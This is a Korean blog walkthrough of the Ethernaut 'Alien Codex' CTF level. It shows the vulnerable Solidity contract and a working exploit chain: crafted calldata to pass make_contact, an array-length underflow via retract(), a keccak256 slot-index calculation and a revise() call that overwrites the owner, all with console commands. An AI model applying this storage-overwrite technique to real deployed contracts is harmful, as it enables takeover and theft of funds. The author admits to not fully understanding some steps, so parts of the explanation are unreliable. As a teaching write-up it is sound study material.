Heuristic Wave Follow
Jan 21, 2019 · 11 min read

Ethernaut Alien Codex Problem — 이더넛 20단계 문제 해설

문제 해설에 들어가기 전, 이더넛 내에서 콘솔창과 상호작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어 있다는 가정 하에 해설을 진행합니다. 필자의 풀이 방법이 절대적은 풀이 방법은 아니므로 이 점 참고하시기 바랍니다.

The Ethernaut

by

Heuristic Wave

Alien Codex Problem

이번에도 역시 주어진 조건을 읽어보자. 필자의 초월해석이 담겨 있기 때문에, 원문을 직접 읽는 것이 제일 좋다. 이번 문제는 내 힘으로 푼것이 거의 아니... 없다. 오랜만이라는 핑계를 대고 싶지만, 아직 부족해서 https://ylv.io/ethernaut-alien-codex-solution/ 에 포스팅된 해설을 해석해가며 이해한대로 써내려관 결과물이다. 내가 최대한 이해하려고 애쓴, Igor Yalovoy의 풀이에 덧붙인 설명 시작! (사실, Igor Yalovoy의 풀이에도 약간의 잘못된 부분이 있다..)

또한, 이번단계를 들어가기 앞서서 필자가쓴 EVM Storage에 관한 글의 내용이 숙지되어 있다는 가정하에 설명을 하겠다.

Alien 컨트랙트를 찾았다. 오너십을 주장하여 이번단계를 해결하자!

- 어떻게 배열이 저장되는지 이해하여야 한다.

- ABI의 특징들을 이해해야 한다.
- Using a very `underhanded` approach (무슨말인지 잘 모르겠다)

코드 분석

AlienCodex.sol

```
pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact(bytes32[] _firstContactMessage)
public {
    assert(_firstContactMessage.length > 2**200);
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public
{
    codex[i] = _content;
  }
}
```

코드를 봐도 무슨말인지 모르겠다. 그러나, remix에서 주어진 instanceAddress를 넣

고 불러와보니 현재, contact의 값은 false인 상태고 record, retract, revise 3개의 함수 모두 contacted라는 modifier를 가지고 있다. 여기서 make_contact로 contact의 값을 true로 먼저 바꿔야지 다른 함수들이 접근 가능하다는 것을 알 수 있다.

그 다음 3개의 함수를 보니 이전 문제들과는 다르게 오너를 바꾸는 함수가 존재 하지 않는다. 각각의 기능을 살펴보면 record에서는 동적할당된 배열에 _content를 넣고, retract에서는 배열의 길이에서 1을 빼고, revise에서는 2개의 인자를 받아 해당 인자값 위치의 배열을 _content로 쓴다. 힌트와 조합하여 생각해보면, 어떤 동적배열이 오너와 관련이 있을 것이고 그배열을 revise함수를 사용하여 나의 주소값을 넣으면 해결이 될 것 같다는 느낌적인 느낌이 든다.

문제 풀이 과정

우선, contact를 true로 변환해 보자!

(_firstContactMessage.length > 2**200) 의 조건을 맞추면, contact의 값이 true로 바뀐다. 메시지의 길이가 2^{200}보다 크면 성공한다는 조건에 다음과 같은 트랜잭션을 보낼 수 있는 코드를 작성했다.

```
sendTransaction({to:
"0x2abc6d922d6c6413adfc826ff4c5669ce9dd6bed", data:
"0x1d3d4c0b0000000000000000000000000000000000000000000000000000000000000020100000000000000000000000000000000000000000000000000000000000000000",
from:
"0x344FbEe17c2d215D364EC5943Bc4a0c7030cfaA1", gas: 900000});
```

to는 InstanceAddress에 해당하고 data 부분에 payload에 해당하는 부분의 16진수 data를 넣으면된다. 우리는 make_contact라는 함수를 호출할것이기 때문에, ABI에서 해당하는 functionSelector를(1d3d4c0b) 찾자! 우리는 데이터 값을 넣기위해서 OPCODE를 16진수로 변환한 (0x20)도함께 넣을 것이다. 이어서, 2의 200제곱은 (1606938044258990275541962092341162602522202993782792835301376) 이다. 이것을16진수로 표현하면 0x1000000000000000000000000000000000000000000000000 (0이50개)이기 때문에 이것보다 길이가 길면된다. EVM슬롯하나의 크기는 32byte로 64글자를 채우기위

해 부족한만큼 0을 채워 data를 만들면 된다.

위 사진처럼 트랜잭션을 일으키는 코드를 콘솔창에 넣어 보내면, 메타마스크창에 오는 알림에서 오류를 확인할 수 있는데 가스값을 바꾸어 트랜잭션을 만들면된다.

> 내가 참고한 자료에서는 1뒤에 0을 63개를작성해서 64자리를 만들었다
>
> 0x1000000000000000000000000000000000000000000000000000000000000000
>
> 2의 256제곱보다 크면 가능할 줄 알고
>
> 0x0100000000000000000000000000000000000000000000000000000000000000 로도 트랜잭션을 만들었는데 false값을 바꾸지 못했다. 정확한 이유를 모르겠다. 일단은 참고한 자료대로 true 값을 얻어내어 진행했다.

위 과정을 통해 우리는 contact의 값을 true로 바꾸었고, modifier가 붙어있는 함수를 호출할 수 있다. retract()를 살펴보면 동적배열의 길이에 1을 빼주는데, underflow, overflow를 검사하는 코드가 없다는 것을 알 수 있다. 이 함수를 호출하여 codex의 길이를 $2^{256} - 1$ 만큼의 길이로 변환시켜야다. 솔리디티에서는 uint256의 경우 0 ~ 2^{256} -1 사이로 범위를 제한한다. 이 약점을 통해 EVM의 스토리지 길이를 codex의 길이로 설정하여 우리는 EVM 스토리지의 모든 슬롯을 수정할수 있게 될 것이다.

AlienCodex가 배포된 첫번째 Storage에는 맨처음 변수를 선언했던 정보가 저장되어 있을 것이다. 슬롯 하나의 크기는 32바이트인데, 선언된 정보가 각각 1바이트와 20바이트로 슬롯하나의 크기보다 작기때문에 첫번째 슬롯에 함께 저장된다.

```
bool public contact;    // 1byte
bytes32[] public codex; // 20byte
```

위의 가정은 다음과 같은 web3라이브러리를 활용한 메시지로 확인할 수 있다.

콘솔창에서 아래 코드를 입력하면 alert창에 0번째 슬롯의 정보가 나온다.

```
web3.eth.getStorageAt("0x2abc6d922d6c6413adfc826ff4c5669ce9d
d6bed", 0, function(err, res) {alert(res)})

=>0x00000000000000000000000173048cec9010e92c298b016966bde1cc
47299df5
```

이어서 위 코드에서 2번째 슬롯을 조회해보면 다음과 같은 값을 얻을 수 있다. (codex의 길이)

```
web3.eth.getStorageAt("0x2abc6d922d6c6413adfc826ff4c5669ce9d
d6bed", 1, function(err, res) {alert(res)})

=>0x00000000000000000000000000000000000000000000000000000000
00000001
```

현재 codex의 길이가 1이므로 retract함수를 호출하여 길이를 줄이자. 우리가 원하는 길이는 $2^{256} - 1$ 이므로 retract함수를 2번 호출하면 된다. 2번 호출이후 codex의 길이를 조회하면 우리가 원하는 상태인 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff의 결과값을 반환한다.

여기까지 revise(내 주소로 owner대체)를 호출할 준비를 마쳤다. revise함수는 uint i

와 bytes32 _content를 매개변수로 받는데, 여기서 첫번째 인자 i는 owner가 저장된 슬롯위치의 해시값이 들어가고 2번째인자는 owner가 될 주소인 나의 주소가 될 것이다.

revise함수를 호출하기 위해 첫번째 인자 i를 알아보자!

빠르게 해시값을 구하기 위해 jvm환경에서 아래 코드를 복사하여 배포해보자.

```
pragma solidity ^0.4.24;

contract Calc {
    bytes32 public one;
    uint public index;

    function getIndex() {
        one = keccak256(bytes32(1));
        index = (2 ** 256 -1) - uint(one) + 1;
    }
}
```

변수 one은 첫번째슬롯의 위치를 나타낸다.

index에서 -1, +1을 해준이유는, evm의 슬롯의 길이가 2^{256}에서 빼려면 리믹스에서 컴파일이 되지 않기 때문에, 2^{256}에서 1을 먼저 빼서 계산한 뒤에 보정값 1을 넣어 코드를 작성했다.

인덱스에 해당하는 슬롯의 위치는 **keccak256(slot) + index**의 값이다. 때문에, 구하고자 하는 index의 위치(owner의 값이 들어잇는 첫번째 슬롯)는2^{256} 개의슬롯에서 슬롯1의 값을 뺀 값이다. (사실 필자도 2의 256에서 one의 값을 빼준것이 왜 첫번째 슬롯의 위치에 해당하는지 정확하게 이해가가지 않는다. 이것때문에 거의 1주일을 고민하다 그냥 지금까지 이해한것을 토대로 해설글을 쓰기로 했다.)

위 코드를 배포하여 위치를 확인하면 아래와 같다.

다음은 owner가 저장된 슬롯의 정보를 바꾸는 코드이다.

```
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',
'0x000000000000000000000000344FbEe17c2d215D364EC5943Bc4a0c7030cfaA1', {from:player, gas: 900000});
```

index의 위치를 정확하게 알앗기 때문에 위 코드를 콘솔창에 넣어 트랜잭션을 발생시키면, 아래와 같이 첫번째 슬롯을 조회 했을때 내 주소로 변경한 것을 확인 할 수 있다.

이제 문제를 제출하면 끝!

이번단계의 채점이 끝나면, 출제자가 2017년 Underhanded 코딩 콘테스트에서 영감을 받아, EVM은 배열의 ABI 인코딩길이와 payload의 유효성을 검사하지 않는 것과 언더플로우의 취약점을 조합하여 문제를 출제했다는 메시지와 관련자료가 함께나온다. 공부할게 정말 많다...

3달전 마지막으로 19번 문제를 풀고 기말고사 준비로 손을 놓고 있다보니, 다시 머리를 쓰기가 무척이나 힘들었다. (이게 다 게으름 때문이지만...) 하루에 2시간씩 고민하며, 20번 문제해설을 작성하다보니 거의 2주가 걸렸다. 최근 들어 구글링을 해보니 나 말고도 문제풀이를 올리시는 분들이 보이기 시작했다. 어서 빨리 나도 연재를 끝내야지.... 3달 동안 내 실력도 많이 늘어 이전문제에 대한 풀이 방법이 부끄럽게 느껴진다.

21번 문제 Denial에서 만나요!

Ethernaut Denial Problem — 이더넛 21단계 문제 해설

문제 해설에 들어가기 전, 이더넛 내에서 콘솔창과 상호작용을 할 줄 알고 기본적인 리믹스 및 메타마스크 사용법이 숙지되어 있다는 가정

medium.com